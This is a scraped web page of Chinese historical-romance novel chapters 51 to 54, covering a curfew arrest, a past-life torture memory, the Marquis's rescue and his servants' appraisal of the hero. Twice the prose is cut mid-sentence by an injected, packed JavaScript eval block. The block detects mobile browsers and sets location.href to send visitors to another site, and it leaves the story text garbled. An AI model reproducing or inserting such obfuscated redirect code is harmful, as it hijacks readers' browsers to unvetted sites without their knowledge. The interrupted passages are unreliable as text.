那看似冒失的一撞，那卑躬屈膝的道歉，全是精心设计的表演。从他踏入陈记文具，不，或许更早，从他开始调查刑场事件起，他就已落在对方网中。步步引导，层层展示，最终在最适合下手，也最能震慑他的地方，轻易取走了他最紧要的凭证。 这不是警告，这是宣示。宣示他们对他的一切了如指掌，宣示他们拥有在闹市之中，于他贴身之处取物的能力，更是一种冷酷的嘲讽：看，你连自己的印信都护不住，还想追查我们？ 寒意从脊椎窜上。质心阁不仅存在，其组织之严密，行事之诡谲，手段之精准，远超他此前最坏的预估。他们如同潜伏在京城血肉下的另一套脉络，无声搏动，掌控着不为人知的交易与生死。 萧征站在乌烟瘴气的赌坊里，周遭的狂热呼喊仿佛瞬间远去。印信丢失，事关重大，谁知道他们要打着他的名号做什么呢？他得马上回到宫里去，向陛下秉明此事。他深吸一口气，强迫自己冷静，转身挤出“千金窟”。 寒风扑面，街上已是华灯初上，快到宫门关闭的时辰了，他必须尽快赶去与苏萦会合。就在这时，他瞥见前方不远处，一个熟悉的，穿着粗布衣裳的纤细身影，正独自缩着脖子袖着手，沿着墙根快步疾行，东张西望地辨路。不是苏萦又是谁？ 他紧跑两步追上她：“未晚，你怎么在这儿？” 苏萦不可置信地转过头来，待看清他面容，两眼一亮，随即捂着一张冻得通红的小脸可怜巴巴地抱怨：“我的马车丢了！” 51.“贫贱夫妻百事哀。” 寒风如刀，刮过晏京隆冬的街道。 苏萦的声音打着颤，不知是冷还是后怕：“我从瓦罐巷出来，车夫和马就都没影儿了！我一路找过来，这衣裳又薄，冻死我了！” “你不是该在公主府同你父母叙旧吗？怎么会来城南？为何换了这身衣裳？”萧征一边快速解下自己的披风裹住她，一边急问。 “哎呀，先别问了！”苏萦跺着脚，冻得眼含泪花：“咱们回京用的那辆马车呢？咱们得赶快走！” 两人跑到估衣铺前那棵树下，马车竟也不见踪影。 “京城治安竟如此……？”苏萦捂着冻痛的耳朵，不可置信地望向空荡荡的树下：“今儿丢的马车可真多，我那辆上可是还有两个人呢呀……” “须得马上找个车行，走着回肯定来不及了。”萧征用披风裹紧她：“你在估衣铺里暖和一会儿等着我。” “那你还得再返回来接我，倒费时间。”苏萦并不认同：“我跟你一起去。” “那儿有个车行！”跑过一条街，苏萦激动地向前一指。 宫门下钥的钟声就在此刻从远方传来，他们迟了。 “完了，来不及了……”苏萦小脸垮下，但旋即又抓住萧征衣袖：“没关系，那今晚去我家里住，明儿一早再回宫！快，先雇车回永兴坊！” 他们像是抓住最后一根救命稻草，冲向那间还亮着灯的车行。才跑到门口，就见一个伙计走出来，着手准备上门板。 “等等，别关门，我们要租车！”苏萦急唤他。 那伙计见他们冲来，连连摆手：“不成啊二位客官，你们听，宫里都敲钟了！近来京城不太平，上面下了令，宫禁后三刻即行宵禁！我就算租给你们，街上这会儿也不让走了，抓到要连小店一起问罪的！” “那不是还有三刻嘛！就送我们到永兴坊。”苏萦实在不想再挨冻，皱着眉头央求：“我舅舅在步军统领衙门里做官！要真让人抓住了，我给你们撑腰，保管你们店没事的！” “永兴坊？！”那伙计不可置信地瞧了这布衣荆钗，冻得双颊通红的姑娘，笃定她是在天花乱坠地吹牛：“客官，你怕不是京城人士吧？从这儿到永兴坊，少说也要半个时辰，坊门早关了！就算我把你们送到了，你们也进不去啊！” 希望彻底熄灭。两人被孤零零抛在渐次冷清下来的街头，寒风卷着尘土和落叶，无情地扑打过来。 苏萦委屈得声音都染上了哭腔，愤愤地边走边嘀咕：“他瞎扯，刚才我家里车夫送我来，根本没走那么久。我也才——” 吃了一盒樱桃煎，喝了一壶热茶，换了一身衣裳，买了一罐茶叶。 啧，竟然也忙活不少事儿，那可能真的有半个时辰。 走过一整条街，居然也没瞧见一间客店，苏萦急得哭出来，眼泪顺着双颊流下，倒是滚烫的。 寒风呼啸，萧征也立马觉察到她在抽泣，马上将她拉到一处背风的墙角，用身体为她挡住大部分寒风，用袖口拭去她面颊上的泪，内疚地低声劝慰：“别哭，别哭。风会把脸吹裂的。” 他将她一双冻得冰块似的手拢在掌心，呵着热气揉搓。苏萦看向他低垂专注的眉眼。他的鼻子耳朵也冻红了，睫毛上似乎都凝了一层细微的霜，他身上那件棉袄，分明比她的还要旧，还要薄，一定是风一打就透。可他还是用自己的披风把她裹得严严实实的。 苏萦心里苦涩又甜蜜地想：倒真像一对被命运抛弃，只好相依为命，互相取暖的贫贱夫妻。 “我看……”她转了转眼珠，不好意思地小声嘀咕：“这样的日子好像也挺好。” “什么日子？”萧征错愕地抬起眼来看她，随即反应过来，眉毛一竖警告她：“好什么好？你这丫头冻傻了吗？不许嫁穷小子，想都不许想，听没听到？穷人的日子苦得你想不到！” “你就想得到！”苏萦老大的不服气，小嘴儿噘的能挂油瓶。 什么男人呢，不解风情。 萧征手上一顿，没有回答。他岂会想不到？前世尘埃落定后，漫长的孤寂时光里，他品尝过太多人间疾苦。 只是这话，无从对她说起。 “贫贱夫妻百事哀。”最终，他只是极小声地轻叹一声。 哀声未落，整齐沉重的脚步声伴随着晃动的火把光，迅速朝这边逼近。一队巡城兵丁如神兵天降，瞬间将他们围住。 “宵禁已始！何人犯夜？！”为首队正声如洪钟，火光映着他冰冷的铁甲和更冰冷的脸。 苏萦一个激灵，脱口而出：“我们又不是故意……你可知道我是谁？我舅舅是步军统领乔望津！” “乔大人名讳也是你能直呼的？”队正厉声打断，眼神更添几分审视与不屑：“攀亲扯故，罪加一等！带走！” “等等！”苏萦急了，一把拽过萧征，“你知道他是谁吗？他是永宁王萧征！有还哥哥，你的印信呢？快给他们看看！” 所有的目光瞬间聚焦在萧征身上。萧征身躯几不可察地一僵，在苏萦期盼的注视和兵丁怀疑的打量下，无需手探入怀，也知道衣袋中定是空空如也。那枚蟠龙私印，早在赌坊人潮中，被那诡异的香气裹挟而去。 他面色稍窘，缓缓道：“印信……不慎遗失了。” “遗失？”队正像是听到了天大的笑话，连同身后的兵卒都露出讥诮之色：“皇子亲王，会不知近来宵禁提前的严令？会在此等时辰，身着布衣，与女子流连街头，还偏巧丢了印信？编谎也编得像样些！名头倒是一个比一个唬人！统统带走，押回衙门里仔细盘问！” 萧征抬手止住欲再争辩的苏萦，神色平静地开口：“随你们走一趟也无妨，我们配合便是。但有劳这位总旗，务必将此事即刻呈报上官，问清楚乔大统领是否真有这样一位外甥女。若我等是妄攀亲眷，自当领罪；倘若属实……今日诸位扣押皇亲之过，不知乔大人的军法，容不容情？” 火把噼啪作响，映着苏萦错愕的脸和萧征深不见底的眼眸。那队正略一沉吟，将手一挥，兵丁上前，铁钳般的手抓住了他们的胳膊。 牢里倒比外面暖和太多。苏萦终于暖过来的耳朵和脸颊胀胀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们只是犯夜，就算乔统领不来，明儿一早他们也会放我们走。”萧征苦涩地解释。 “哦。”苏萦无聊地闭上眼睛，随即又不甘心地睁开：“可是放走的多没意思！” “……睡吧！”萧征哭笑不得，伸过左手来蒙住她的眼睛：“你那小脑袋瓜里成天都在想什么呀！” 苏萦的脑袋在他肩上拱了几下调整到最舒服的角度，又趁乱在他胳膊上好好摸了几把，总算安分下来。 牢房中的人，满不在乎的，愤愤不平的，渐渐都睡着了，鼾声从各个角落响起，混成一片无意识的喧嚷。只有那只刚刚打过照面的老鼠，兴致勃勃地在萧征正对面的草席下挖洞，偶尔探出脑袋，用黑溜溜的小眼睛瞧瞧这个依然睁着双眼，满面凝重的男人。 老鼠尖尖的鼻尖翘起来嗅嗅。 挫败，困惑，担忧，感慨……唔。 它松子仁儿大的小脑袋里，装不下更多情绪了。 52.右手 天玺十年秋，孝毅皇帝骤崩，大位空悬。诸王倾轧，朝局鼎沸，唯靖王萧征功高望重，人心所向。 然风云诡谲，一夜之间，各方势力竟摒私怨，合众谋，共推皇七子萧启煜践祚。瞬时间，尘埃落定。新帝尚在襁褓，由圣敬太后临朝摄政，垂帘听决。 而昨日犹是万民景从，砥柱中流之靖王，今朝已成囹圄待罪之囚。 成昭元年，诏狱幽所。 起事兵败，同袍尽殁。他被囚于这暗无天日的秘牢之中，日复一日地承受着似乎永无止境的刑罚。 这一日，熟悉的锁链声响再度传来。他麻木地，近乎本能地从身边摸索到他的“老朋友”——一块早已被他的血污与口涎浸透，辨不出原色的旧布。 他被拖上刑架，狱卒粗暴地扯出他口中的破布，掷在肮脏的地面上。 “萧征，今日有人来看你了。”狱吏的声音中透着残忍的幸灾乐祸：“长公主最爱听人受刑的惨叫，可别扫了长公主的兴。” 长公主？谁是长公主？ 他心中已有个答案，将要呼之欲出，却又不敢确信。他强撑着将被汗蛰得布满红丝的眼睑掀开一丝缝隙，昏浊的视野里，一道华贵身影由模糊渐至清晰。 刹那间，他竟低低地，自嘲地轻笑一声。 是啊，本该如此，她有这个能耐。 那女子锦衣璀璨，面容如昔般姣丽，周身却笼罩着一层幽暗难明的寒气。她静静立在暗影边缘，仿佛一尊没有温度的美人瓷像。 “长公主，人犯在此。您看……该如何处置？”狱吏躬身请示。 她没有立刻回答，只是独自缓缓踱步上前，停在他面前。目光逡巡过他伤痕遍布的躯体，如同审视一件残破的藏品。 他垂着头，不愿与那目光相接。唯有那双缀着珍珠的锦绣鞋尖，一寸寸侵入他低垂的视野，最终停驻在他脚边咫尺之地。 静默如冰冷的潮水在牢房中蔓延。 良久，她的声音终于响起，很轻，却字字如冰锥刺骨： “萧征。” “还记得，你是哪只手写的休书吗？” 他倔强地沉默。 满口的血腥味，喉咙或许已经哑得发不出声音来。 他不愿自己的狼狈再在她面前展示了。 何况，答案是显而易见的。 “替我，挑断了他的右手筋。” 无法言喻的剧痛如雷霆炸裂，自手腕瞬间窜遍全身。筋断骨摧的刹那，他脑海中仿佛也有什么随之铿然崩断。没有惨叫，没有挣扎，他只是猛地一颤，随后所有的声息与气力都随之抽离，头颅无力地垂落。 听觉是最后消失的感官。那个熟悉又陌生的声音，淡淡的，带着事毕后的倦怠与漠然： “一个废人，还留在这里做什么。丢出去吧。” ——————————— 右臂上好像有成千上万只蚂蚁在爬。 他猛地睁眼，苏萦正枕着他右臂睡得香甜。他望着她恬适的睡颜，恍若隔世。 他想小心地抽出手臂，让她躺到自己腿上，不料轻轻一动，她便醒了。 “有还哥哥，把你胳膊压麻了？我来。”她睡眼惺忪地帮他揉捏按摩手臂：“那你怎么不换个姿势呢？把我推起来呀。” 是想一直贴着我吧。她心里不无得意地想。 已有一道天光斜射入牢房中。 “呀，天亮了。”苏萦又赖床似的倒回他肩上：“这一宿睡得真累，腰酸背痛的。” 牢门哐当打开，两个狱卒进来不耐烦地敲打栏杆：“出来，都出来！” “呀，让我们出去了。”苏萦起身，扑扑衣服上粘的草屑，环视其他慢吞吞起身的人，奇怪道：“还有这样的好事儿，抓进牢房里睡一晚就放我们走。虽然环境恶劣，但是遮风挡雨的，比外头暖和不少。要是没有家的人，岂不是可以每天都让官差抓走带到牢房里住吗？” 萧征却面色凝重，把她扯到身边低声说：“跟在我后面。一会儿不管我说什么，你都不要说话，听见没有？” “啊？”苏萦不解，茫然地跟在萧征身后朝前走去。 四个衙役押着一行人犯到了公堂上，其余人犯见那森严架势，早已腿软，噼里啪啦跪倒一片。苏萦犹自别扭，却见萧征竟毫不犹豫撩袍跪下，并以眼神急催她照做。苏萦难以置信地瞪着他，缓缓跪到地上，满心困惑。 晏京县令端坐堂上，闻听师爷禀报这不过是群犯夜之人，眼皮都不抬一下，只将惊堂木一拍：“闭门鼓后、开门鼓前，无故夜行，笞二十。统统带出去，打！” 衙役应声上前扭人。苏萦张口刚要辩解，萧征竟把心一横，两眼一闭，大吼一声：“大人！” 县令不耐烦地看过来：“堂下何人，有何话说？” 萧征低着头，艰难开口：“……大人明鉴。小人，小人的娘子她……身怀有孕。求大人开恩，容小人代她受刑！” “娘子”二字入耳，苏萦脑子里嗡的一声，什么“大人”“小人”，全听不见了。 她的头埋得更低，像吃了什么酸东西一般突然拉长人中抿了一下唇，嘴角怎么压也压不住，紧着往上翘。 县令看一眼堂下这对年轻夫妇，虽说做穷苦百姓打扮，模样倒都是端正秀气，不像寻常市井之徒。便随便挥一挥手：“倒算有些担当。准了，将此人之刑加倍，笞四十！” 待衙役上前拉扯萧征，苏萦才从美梦中惊醒，慌神去拉萧征，边急着央求道：“大人，大人开恩呐！” 恰在此时，师爷匆匆上前，向县令附耳低语：“大人，嘉裕侯苏大人来访，此时就在堂外。” 县令一惊：“苏侯爷？快请至后堂稍候，我速速就来！” 话音未落，苏予夺的朗声大笑已从堂前传来。 “李大人呐，许久不见！”苏予夺步履从容，直入公堂，朝李县令拱一拱手：“李大人风采依旧啊！” 被衙役拖到门槛前的苏萦总算见着了救命稻草，急切地小声唤：“爹，爹！” “侯爷！”李县令诚惶诚恐，快步下堂相迎，姿态恭谨：“不知侯爷驾临，下官有失远迎，万望恕罪！” 低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036457|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头见那对苦命鸳鸯仍在堂前与衙役纠缠，那“小妇人”正拼命想拉回丈夫，势单力孤，已出门槛，无所依托，竟要伸手去扳侯爷的腿，不禁尴尬地低喝一声：“这两个人怎么还在这儿！快拖下去！碍了侯爷的眼——” “无妨无妨！”苏予夺笑呵呵地连连摆手，目光扫过女儿与永宁王：“李大人，实不相瞒，苏某此番不请自来，正是为这两个不懂事的小辈。” “哦？莫非他二人与侯爷——” “正是。”苏予夺苦笑着轻叹一声：“这两个孩子，乃我府中家奴，自小看着长大，与亲生无异。听闻昨夜犯夜被拘，我们夫妻俩担忧得彻夜难眠啊！苏某今日厚颜前来，不知李大人能否行个方便——” “自然，自然！”李县令连连应承，眼珠一转，又凑近些，压低声音卖好道：“侯爷，非是下官多嘴。您府上这家奴带着有孕的妻子夤夜外出，怕不是想私逃？依下官愚见，不如就此机会，小惩大诫，打上几板子，也好让他们长长记性，懂得安分。” 苏予夺回头，意味深长地看了一眼，“小夫妻”都下意识地缩了缩脖子。苏萦偷眼看向父亲，头摇得像拨浪鼓。苏予夺心领神会，一挥手道：“李大人好意，苏某心领了。不过，既是我府中的人，自然由我带回去关起门来教训，就不劳县衙操心了。” 出了县衙，公主府的车马已在等候。 临登车前，苏予夺忽然转向萧征，躬身一礼，语气郑重：“今日连累殿下受此牢狱之灾与堂上之辱，皆是微臣教女无方。微臣向殿下请罪。” 萧征见状，羞窘更甚，忙深深还礼：“苏侯言重。昨夜之事皆因我而起，若非侯爷及时解围，后果更难预料。该是萧征谢过侯爷相助之恩。” 到得公主府门前，萧征先苏侯一步起身，两人在谁扶谁下车的礼节上着实谦让了一番，到底是萧征身手矫捷，先跳下马车伸出手来扶苏侯。 苏侯边笑嘻嘻地说着岂敢岂敢，得罪得罪，边毫不客气地撑了这小子一下。 “岁数大了，身子笨重。不服老不行啦！”老狐狸假模假式地摇头摆手感叹，苏萦在后面偷偷地翻白眼。 等苏萦下车时，两人倒都伸出手要来扶苏萦。 苏萦脑筋一转，毕竟是在家门口，还是搭了父亲的手。 坐上进府的小轿，苏萦是第二次回来了，熟门熟路，也不再好奇地东张西望，却又很想知道萧征如何评判她家的宅子，偷眼望向另一顶小轿中的萧征，见他面色凝重，垂眸俯首，根本不向四周望一眼。 又怎么了？成天忧心忡忡，不知在想什么，到我们家了也还这样。今天不知为何，总觉得他有些异样，刚在门口要扶她下马时也一样。 哪里不一样呢？ 正想着，听到前面父亲叮嘱轿夫：“公主在骋月轩等着郡主，我带这位公子去沐浴更衣。” 苏侯和萧征的轿子改了方向，向西边的客院去，萧征这才回头望了她一眼。 两人目光相触，苏萦瞥见他放在膝上略显僵硬的右手，突然福至心灵： 他刚刚是不是要用左手扶我？ 53.今日大寒，公子多多进补！ 公主府西面这座客院，从前在靖王府辟作何用萧征已记不清了，兴许只是闲置着，放些杂物。他在家的时候本就不多，靖王妃又不是个好相与的，府里是向来不留客住宿的。小院旁边开一角门可单独出入，再往南去便是马厩，他从前养了许多良马在这里。乔大将军看来也是爱马之人，远远望去，马匹比他居住在此时只多不少。 苏侯送他到院门前落下轿，便说还有些公务要处理，还请王爷先在此沐浴更衣，稍作歇息，随后便备车马送他与郡主回宫。萧征颔首谢过，目送苏侯离去。 三名男仆已在门前候着，引着他径直到后头浴室去。绕过绘有山水人家的连排云母屏风，光滑的青砖地上，一只金丝楠木莲纹大浴盆居中而置，汤水氤氲，漾着艾草佩兰合煮的清香。一旁香柏木的矮几上，几个精巧的螺钿漆盒里放着皂团，珐琅小罐里盛着香膏。黄花梨盆架上另搁着一个冒热气的青瓷坛子，是用首乌、皂角、木槿叶熬制的浓汁，作养发乌发之用。 苏侯倒是个会享受的。萧征心里轻哼一声。一个男仆上前为他更衣，动作十分利落轻巧，并不因萧征穿着寒酸而露出半分鄙夷之色。萧征赤脚踏上青砖地，触感温热，是地底下另埋了火龙。 这半月奔波劳累，险象环生，坐进浴盆中，被热水包裹住疲惫的身躯，萧征忍不住由衷地轻叹一声。 这三名仆役伺候得极为周到，虽皆已年过四旬，却个个眉眼通透，犹如苏侯的三个分身。萧征只需一个细微动作或眼神，所需之物便已妥帖递至手边，井然有序，毫不忙乱。 “公子，可需小人再为您搓搓背？” 其中身材最为敦实短小者开口，颈搭浴巾，挽起的袖口下露出一截筋肉结实的小臂。方才沐发时，萧征便领教过他拿捏穴位，松解肌理的非凡手艺，僵硬的头皮肩颈经他一番揉按，确然松快许多，他差点直接在浴盆中睡着了。 “有劳。”萧征睡眼惺忪，依言微微俯身，闭目问道：“师傅这手功夫，敢问是师从何人？” “回公子话，” 那矮壮男仆手上力道均匀，语带些许旧日荣光：“小人年少时曾在混堂做过小工，手艺是跟着当年晏京城头一份的搓澡师傅学的。” 萧征默然。看此人年纪，他引以为傲的师傅，恐怕早已作古了。 “你们跟随嘉裕侯，有多少时日了？” 他转而问。 “回公子，” 对面正将一瓶花露倾入水中调和的男仆接过话头。这个更胖些，红脸膛，眯眯的笑眼，蓄着两撇精明上翘的小胡须。萧征刚就注意，他最会讨巧躲懒，为自己拣些轻便的活做，但也最会看人眼色，刚才打开盆壁机关为萧征做“激水沐”，萧征觉得后背有水流顶着用处不大，时间久了还有些恼人，可能微微皱了皱眉，还未开口，他就绕过来把机关关上了。 “华绣坊刚开张那会儿，小人们便跟着侯爷了。” “公子年轻，或许未听过华绣坊。” 方才为他更衣、相貌身段最是出众的男仆从外间返回，周到地补充：“那是天德二十年的事了。” 天德二十年。整整三十年了。 萧征心下一凛。 人生有几个三十年呢？ 他们从青壮之年便跟随苏侯，眼见其行商、出仕、封侯，自己却三十年如一日，仍是府中仆役？ 到了该含饴弄孙，安享天年的岁数，仍被拘在此处长久地做着伺候人的差事，纵然苏侯多智，只怕也枉费了这些人才，不知他们心中可有积怨？ 他心念微转，口中问道：“还未请教三位师傅名讳？” “小人兴发。”那搓澡的矮壮师傅咧嘴一笑，将搓澡巾在掌心拍得啪啪轻响，声若洪钟。 “祥发。”“兴隆。”为他更衣的俊朗仆役与调香倒水的胖仆也依次颔首，报上名号。 兴发、祥发、兴隆。萧征猛然想起在京郊接应他们的那位侯府管家——裕隆。从这名字排辈听来，这四人多半是同一批入府的旧人。 水声淅沥，萧征自浴盆中站起。氤氲水汽略散，露出其下历经三年沙场风霜锤炼的身躯。宽肩舒展，如山脊横陈，滴滴水珠顺着流畅紧实的背肌沟壑滑落，那线条并非文臣的儒雅纤瘦，而是武将特有的，蕴含着爆发力的精悍。水痕划过壁垒分明的腰腹，没入腰际。热水浸润后的皮肤泛着健康的微光，湿透的黑发凌乱紧贴在颈侧与脊背，却丝毫无损其通身的清贵气度，反添几分浴后的松弛与不易察觉的凛冽。 随手接过一条雪白浴巾系在腰间，萧征忽觉似有目光盯在他身上，抬眼扫去，那三人却皆低眉垂目，专注手中活计，恭敬如常。 趁兴发为他仔细拭干发丝与身体，祥发与兴隆已悄然退出。萧征目光掠过云母屏风，隐约瞥见祥发立于外间桌旁，手指如飞，在一件月白中衣上极快地丈量比划，旋即执起银剪，运针如风，裁剪、缝合、熨烫……动作行云流水，不过片刻，那件改制妥帖的中衣已被他平整叠好，置于托盘，从容端入。 衣裳上身，领口、袖管、腰身、裤脚，竟无一处不服帖，恍若量身定制。 “祥发师傅原是裁缝？”萧征难掩惊讶。 “年轻时略学过几年。”祥发面色平淡，为他整理好领口袖缘，侧身一让：“公子，请。” 几名绣娘此时方从内间卧房鱼贯而出，隔着屏风，齐齐向萧征方向福身行礼，姿态大方沉稳，见惯场面的模样。 步入卧房，只见桌上已齐整摆好从头至脚的全套衣物鞋袜，尺寸皆已细细调整妥当。想来方才沐浴时祥发短暂离开，便是为了吩咐绣娘们抓紧改制。 待到穿戴齐整，外间花厅圆桌上已是肴馔满目：红焖羊肉酥烂浓香，腊味合蒸咸鲜交融，火腿烧白鲢汤色奶白，白灼黄芽菜清甜爽口，另有排骨煨冬藕的暖汤，四宝糯米饭，并一盅红枣甜汤。一壶烫好的花椒酒置于旁侧，热气与香气交织，令人食指大动。 “今日大寒，公子多多进补，驱驱寒气！”兴隆站在桌旁，笑眯眯地俯下身子，双手为萧征递上一双陶瓷镶金筷。 原来此处，方是他的领地。萧征瞥过这一桌显然费了心思的时令佳肴，心下恍然。 “郡主可用过饭了？”他忽而想起苏萦。 “郡主与公主殿下，魏国公夫人已在里头用过了，劳公子记挂。”兴隆不假思索，答得流畅自然。 萧征心中称奇。此人方才分明寸步未离这屋子，府内消息却如清风过耳，瞬息即知。 “公子请慢用，小人们尚有些琐事需处置，先行告退。”不待他细想，三人已齐齐施礼告退。萧征只得颔首，任他们离去，满腹疑团却更重了几分。 三人退下，旋即又换上三名年轻小厮入内侍奉，布菜、添汤、盛饭，递上漱口的茶汤与漱盂，安静利落。自入府以来，他所见皆是男仆，除方才那几位绣娘，竟一个丫鬟也不见，想来皆在内院服侍。 他心中记挂着回宫的时辰，不知苏萦那头是否准备停当。这半月同行，两人一同用饭的次数，细细算来，竟比前世做夫妻时加起来还要多。此刻她不在身旁，对着满桌佳肴，心中竟无端生出几分空落，这顿饭，也吃得有些闷闷的，食不知味。 容与堂书房内，四杯清茶已备，热气袅袅。 苏 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祥发和兴隆都说好，兴发不耐烦地从簸箕里抓一把瓜子，浑不在意地一摆手道：“换什么换？我就穿这个挺好，平时在店里我也这么穿！” “丰泽楼”总掌柜兴隆那胖乎乎的脸上挤出一个万分嫌弃的表情：“兴发，不是我说你。你这般打扮，也怨不得总有人进了你的‘四海汤’，没等小工过来问，一眼就瞧上你：‘劳驾，请那位老师傅来给搓个澡！’” “云锦祥”绸缎庄大掌柜祥发闻言，修长的手指理了理并无褶皱的衣襟，挑眉打趣道：“嘿，何止是客人！我听说，他们混堂新来的小伙计，头一个月都分不清谁是掌柜谁是搓澡师傅。店里还有个不成文的规矩，老师傅专骗新人：‘去，叫那边蹲着喝茶的老兴过来，就说张老爷点名要他上手！’” “老兴，哈哈哈，老兴！”兴隆捧腹大笑：“那得叫我什么？” “叫你——”兴发一转眼珠子，压低声音粗声粗气地吆喝：“哎！墙角那个白胖的！对，就叫你呐！搓澡加钟，得加一百文！敢不给？一会儿哥几个陪你到后院练练！” “哎！这小胖墩儿我罩的！”苏予夺立刻“义愤填膺”地挡在兴隆身前，忍着笑板起脸，“光天化日，你们欺负老实人呐？” “六爷，”兴隆眯起那双精光内蕴的小眼睛，狐疑地盯住苏予夺，“我现在越想越觉得……当年在澡堂子门口堵我那伙混混，该不会是您花钱雇来的吧？” “天地良心！”苏予夺一脸被冤枉的愕然：“那会儿我有什么本事雇人？如今倒是能给你雇个戏班，天天演英雄救胖——当年，纯粹是路见不平！但凡差出一天一个时辰，你可遇不着我咯！这就是咱哥俩的缘分！” 他慨叹一声，声音里透出几分真实的唏嘘：“那时候本事小，除了年轻什么都没有，就跟现在西边客房里坐着那小子一个样，想做的多，能做的少，那干着急的滋味儿啊！现在，好容易攒了些能耐，精神头儿又不够用了。老咯，老咯！” “爷不老！”一直含笑旁观的祥发忽然扬声，朝兴发递去一个心照不宣的眼神：“咱们都不老！兴发，还记得当年吗？咱再给爷‘飞’一个！” “好嘞！”兴发会意，与祥发一左一右上前，架住苏予夺的胳膊，口中齐喝一声：“起！”不等苏予夺反应，两人竟将他稳稳架离了地面，脚下生风，径直就往书房里“运”去，边还不回头地笑着喊：“兴隆，快跟上！” “嗨哟，你们这俩小子，快放我下来！”苏予夺啼笑皆非的“呼救声”由近及远：“可别摔了我，一会儿我还得齐齐整整见姑爷去呐！” 54.那小子，魂儿和身体打架，说不出的古怪！ 中年人的嬉闹，点到为止。四人整装落座，眉宇间那点顽皮跳脱顷刻间收敛得干干净净。 门外侍立的小厮极有眼色，轻手轻脚将房门掩实，悄无声息地退到廊柱的阴影下。 苏予夺端起手边的越窑青瓷茶盏，杯盖在沿口轻轻一刮，发出一声清越的微响。他啜了口茶，方悠悠开口：“挨个儿说说吧，我家那小祖宗相中的这位‘贵客’，诸般品貌，落在诸位法眼里，究竟如何啊？” 三人目光在空中一碰，下颌微扬，无声地礼让一番。终究是 “云锦祥”大掌柜祥发先开了口，声线平稳，用词考究，仿佛在品评一匹罕见的云锦： “六爷，此子的‘骨相格局’，堪称万中无一。肩若横岳，背挺如松，骨肉停匀，是标准的武将之躯，却毫无糙莽浊气。更难得的是那身气度——静立时如渊渟岳峙，行动间却似行云流水。这份‘沉静’与‘流畅’收放自如的功底，绝非寻常勋贵子弟靠金银堆砌而来，必是经年累月，严苛至极的锤炼，方能成就。而且……” 他眉头微皱，合眼细细回忆：“其背脊与肩胛有几处旧疤，痕迹极淡，若非凑近细看且熟知肌理走向，绝难发现。疤痕的愈合形态与位置……似非寻常操练所致，倒像是真刀真枪留下的。此外，他虽疲惫，但腰腹核心之力未散，这是长期保持警醒，即便休息也绝不彻底松弛的表现。此人年纪轻轻，倒在行伍中有过几年历练，亲上过战场拼杀；观其身形，臀腿精壮有力，是常年马背颠簸造就的骑兵体格。如此年轻便做的是轻骑，必定根基深厚，其出身门第，绝非等闲。” 兴发耐着性子听完，老脸皱成核桃皮，耸肩抖了抖身上的鸡皮疙瘩：“嗨哟我的老天爷，我顶瞧不上你这伺候几天上流主顾，就咬文嚼字那个劲！好像你进学堂念过一天书，识得几个字似的！咱年轻时候，就那些个什么世情志怪的话本子，你还是求着小翠给你念的呢！” 在场几人都像看傻子似的看向他，苏予夺嫌弃地抬手一指祥发，两手一拍一摊：“人家是醉翁之意不在酒！那不就把小翠娶回家去了？招术递到你面前了，你也不知道学！” “我怎么学啊？”兴发无辜地一耸肩，喉咙里低声咕噜：“慧娘她也不识字儿！” 他清了清嗓子，整肃开口：“祥发说那些，我倒有一半不同意。前面半段你说的没错，这小子的身子，是‘外热内紧’。热水一泡，常人筋骨早就软下来了，他又好像先前长途跋涉了几天，身子累得要命，偏还一口气吊着不肯泄下来。我手底下揉捏时，他那肩颈，后腰的大筋，硬得跟老牛筋一样！当兵的虽然常年戒备，也不至于紧成他那样。” 他嘬一口茶，随口啐一口茶叶沫子，清清喉咙：“尤其是我碰到他几处陈年老伤，或是特别吃劲的穴位时，他那身肉‘噌’一下就绷紧了，跟炸了毛的猫似的，过后才硬逼着自己松下来。你说，要是金窝银窝里娇养出来的贵人，能对旁人碰触戒备成这样？从前肯定受过大刑，被打怕了的。再者说，咱们过来伺候，他浑身上下那股子不自在，可不是拿架子，倒像是不习惯被人这么围着转，浑身不得劲。这要是好人家的少爷，三个人伺候洗澡怕啥？咱爷年轻时候少说也得五六个人屋里屋外的忙活，照样坐澡盆里睡得跟小猪似的——” “哎！”苏予夺羞恼地打断他：“说他呐，别说我！” “嗐！”兴发坏笑着清清嗓子：“我就这么随口一说么。反正依我看，这小子从前没少吃苦，不是个享福享惯了的人。来的时候身上那件破棉袄，保不齐就真是他自己的衣服。” 兴隆听完了，拍着大腿懊恼道：“老哥哥们，让你们全说完了，不给我留点儿什么？他们两个急着来交差，饭菜刚上齐，我还没来得及细看呢，一个两个就挤眉弄眼催着我快走。我拣能记住的说两句得了。” 兴隆边还胖松鼠一样不紧不慢地地嗑了两粒瓜子，边嫌弃道：“六爷，今儿这瓜子炒的丢手艺，丰泽楼的厨子要是敢给我上这样的炒货，准保是吃了炒货摊子的回扣。” 他稍正神色，言语间带着生意人察言观色的活络： “那位爷“不贪”，吃相好，举止有度，可见教养刻在骨子里。但好的过了头——每道菜不过三筷子，用餐不语，咀嚼无声，那一大桌子美食摆在桌上，半大小子，正是最馋肉的时候，没见他眼里亮一下。定是什么美味佳肴都见过了，哪能是个苦出身呐？瞧他心不在焉，食不知味，中医诊脉那些我一窍不通啊，不过单看面相，他脾胃一定好不了。” 说罢，他又想起什么，小眼一眯，透出几分精明的笑意：“哦，还有件趣事。席间他看似无意，问了一句‘郡主可用过饭了’。六爷，这惦记可装不出来。正所谓‘郎情妾意，红线暗系’，只要这小子运气，让您点了头，我看这门亲事，就离成不远了！” 